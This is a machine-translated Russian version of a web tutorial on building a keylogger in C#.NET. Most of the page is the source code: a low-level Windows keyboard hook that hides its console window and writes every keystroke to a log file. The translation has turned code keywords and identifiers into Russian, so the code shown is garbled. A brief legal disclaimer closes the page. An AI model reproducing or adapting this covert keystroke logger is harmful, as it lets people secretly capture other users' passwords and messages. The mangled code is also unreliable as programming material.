This is a machine translation. The original page (in English) is available here.
Окна
Мак ОС
Мобильный

Последние новости: 12 ноября 2016 - мы нашли новый обнаружить клавиатурных шпионов для вас. RSS-канал

Главная>Статьи>Сделать Свой Собственный, Используя Кейлоггер C#.Net

AnyKeylogger для Mac

Сделать Свой Собственный, Используя Кейлоггер C#.Net

по Arkadeep де

Что такое кейлоггер ?

Его Прикладная программа, которая используется для получения всех введенных клавиш от клавиатуры. обычно он использует для целей взлома.

По данным Webopedia :
кейлоггер-это тип программного обеспечения для видеонаблюдения (считается либо программное обеспечение или шпионское По), что позволяет записывать каждое нажатие клавиши в лог-файл, как правило, зашифрованы. Записывающее устройство кейлоггер может записать мгновенные сообщения, электронную почту, и любую информацию, вы вводите в любое время с помощью клавиатуры.
Здесь я буду показывать это не для взлома компьютеров знаменитостей, но и знать процесс.

Итак, давайте начнем делать наш собственный кейлоггер.

Первый запуск консольного приложения в Visual студии.

Теперь добавьте пространство имен

  • используя системы.Диагностика;

  • используя системы.Окна.Форм;

  • используя системы.Время выполнения.InteropServices;

  • используя системы.ИО;


Теперь добавьте некоторые частные глобальные переменные

Частная константный инт WH_KEYBOARD_LL = 13;
Частная константный инт WM_KEYDOWN = 0x0100;
Частная статические LowLevelKeyboardProc _proc = HookCallback;
Частная статического указателя intptr _hookID = Тип intptr.Ноль;

Теперь в функции main()

вар ручки = GetConsoleWindow();
Функции showwindow(ручки, SW_HIDE); // чтобы скрыть запущенное приложение
_hookID = с sethook(_proc);
Приложения.Выполнить();
UnhookWindowsHookEx(_hookID);

Теперь добавить эти код вне функции main()

Частная статического указателя intptr с sethook(LowLevelKeyboardProc прок)
{
используя (процесс curProcess = процесс.GetCurrentProcess())
используя (curModule ProcessModule = curProcess.MainModule)
{
возвращение SetWindowsHookEx(WH_KEYBOARD_LL, прок,
GetModuleHandle(curModule.Название модуля), 0);
}
}

Частная делегат указателя intptr LowLevelKeyboardProc(Тип int nCode, указателя intptr параметр wparam, указателя intptr lparam должен);

Частная статического указателя intptr HookCallback(Тип int nCode, указателя intptr параметр wparam, указателя intptr lparam должен)
{
если (nCode >= 0 && параметр wparam == (указателя intptr)WM_KEYDOWN)
{
инт vkCode = Маршал.ReadInt32(параметр lparam);
Консоль.Метода writeline((ключи)vkCode);
/*для этого создайте папку с именем "ABC" В С дирв*/
Модулю записи streamwriter ео = новая модулю записи streamwriter(@"C:\abc"+ @"\log.txt", истина);
//Модулю записи streamwriter ео = новая модулю записи streamwriter(Приложение.StartupPath + @"\log.txt", истина);
ув.Писать((ключи)vkCode);
ув.Закрыть();
}
возвращение CallNextHookEx(_hookID, nCode, параметр wparam, lparam должен);
}

Теперь добавить некоторые библиотеки dll

[Атрибута dllimport("user32.dll", Кодировка = Кодировка.Авто, функции setlasterror = истина)]
Частная статические экстерн указателя intptr SetWindowsHookEx(инт idHook, lpfn LowLevelKeyboardProc, указателя intptr hMod, uint с dwThreadId);

[Атрибута dllimport("user32.dll", Кодировка = Кодировка.Авто, функции setlasterror = истина)]
[возвращение: помощью атрибута marshalas(unmanagedtype значение.Боол)]
Частная статический модификатор extern bool и UnhookWindowsHookEx(РПА указателя intptr);

[Атрибута dllimport("user32.dll", Кодировка = Кодировка.Авто, функции setlasterror = истина)]
Частная статические экстерн указателя intptr CallNextHookEx(РПА указателя intptr, Тип int nCode, указателя intptr параметр wparam, указателя intptr lparam должен);

[Атрибута dllimport("kernel32.dll", Кодировка = Кодировка.Авто, функции setlasterror = истина)]
Частная статические экстерн указателя intptr GetModuleHandle(строка lpModuleName);

[Атрибута dllimport("kernel32.dll")]
статические экстерн указателя intptr GetConsoleWindow();

[Атрибута dllimport("user32.dll")]
статический модификатор extern bool значение функции showwindow(hwnd элемента указателя intptr, Тип int nCmdShow);

и в конце сделать SW_HIDE 0

константный инт SW_HIDE = 0;

Теперь после выполнения всех вышеперечисленных вы получите сообщение об ошибке при использовании системы.Окна.Форм;.
Чтобы избежать этой ошибки, вы должны добавить ссылку из окна.Форм.

Как это сделать?
Щелкните правой кнопкой мыши на имя проекта в Обозревателе решений. И нажмите на добавить ссылку.



Сейчас на .Вкладку "сеть" выбрать система.Окна.Форма



И нажмите на кнопку ОК. Теперь, если вы посмотрите на ссылки в Обозревателе решений, вы получите то, что ссылка была добавлена.



Сейчас строят(нажать F6) и проверить есть ли ошибки или нет. Согласно кода там не присутствует ошибка. Итак, запускаем программу.

Если вы запустите код с приложения.StartupPath затем проверьте лог-файл в bin -> debug папки. И Вы также получаете .ЕХЕ в этой папке. Так что наслаждайтесь...

Скачать полный исходный код здесь.
Прочитать полный текст статьи
Главная>Статьи>Сделать Свой Собственный, Используя Кейлоггер C#.Net
Важно! Установка средств мониторинга компьютеров Вы не владеете или не имеете разрешения для монитора может нарушить местным, государственным или Федеральным законом.
Предложить перевод